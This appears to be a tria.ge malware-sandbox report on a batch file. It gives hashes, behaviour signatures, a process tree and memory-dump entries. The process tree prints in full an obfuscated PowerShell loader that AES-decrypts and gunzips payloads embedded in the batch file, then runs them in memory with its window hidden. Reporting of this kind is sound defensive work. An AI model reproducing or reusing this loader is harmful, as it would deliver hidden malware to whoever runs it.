Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    119s
  • max time network
    120s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    02/08/2024, 14:16

General

  • Target

    bat.bat

  • Size

    5.8MB

  • MD5

    f3281ed9a501fd2ff062664456bd3016

  • SHA1

    4e41be0fe4bf26907eaa738fffaabf10651c15b5

  • SHA256

    3e27d2aee2a3f3a1f28e27100ed8b966ee82a85ec94d8d715f390d824e20abba

  • SHA512

    cbd41cc54655e2fc7159d4cf50c6b0424b7caf927016735bf1e84b1b69ff58cf12abcee724af99f2c0aba7e176393477c16cf183d99c48163d9b85f8e7aaf1b4

  • SSDEEP

    98304:BAqV8T0g2Vnxg8T2D0aBBbhP9HbTEU28tf:4TNBBbhPdT/f

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\bat.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2560
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('dyVGy+AK/alUx4C1KZGPyURnZpXePTKfrvzd88J4h2c='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('EtptwhXr1MaRHHI/4/0emw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $JxCCm=New-Object System.IO.MemoryStream(,$param_var); $fscLF=New-Object System.IO.MemoryStream; $beNoU=New-Object System.IO.Compression.GZipStream($JxCCm, [IO.Compression.CompressionMode]::Decompress); $beNoU.CopyTo($fscLF); $beNoU.Dispose(); $JxCCm.Dispose(); $fscLF.Dispose(); $fscLF.ToArray();}function execute_function($param_var,$param2_var){ $eJqYy=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $wnjdB=$eJqYy.EntryPoint; $wnjdB.Invoke($null, $param2_var);}$pMUKG = 'C:\Users\Admin\AppData\Local\Temp\bat.bat';$host.UI.RawUI.WindowTitle = $pMUKG;$hJjhE=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($pMUKG).Split([Environment]::NewLine);foreach ($cavJU in $hJjhE) { if ($cavJU.StartsWith('cypLHeqrkKMWSgQqffJU')) { $ycQqn=$cavJU.Substring(20); break; }}$payloads_var=[string[]]$ycQqn.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
      2⤵
        PID:1736
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2372

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2372-4-0x000007FEF611E000-0x000007FEF611F000-memory.dmp

      Filesize

      4KB

    • memory/2372-5-0x000000001D700000-0x000000001D9E2000-memory.dmp

      Filesize

      2.9MB

    • memory/2372-6-0x0000000003620000-0x0000000003628000-memory.dmp

      Filesize

      32KB

    • memory/2372-7-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2372-8-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2372-9-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

      Filesize

      9.6MB

    • memory/2372-10-0x000007FEF5E60000-0x000007FEF67FD000-memory.dmp

      Filesize

      9.6MB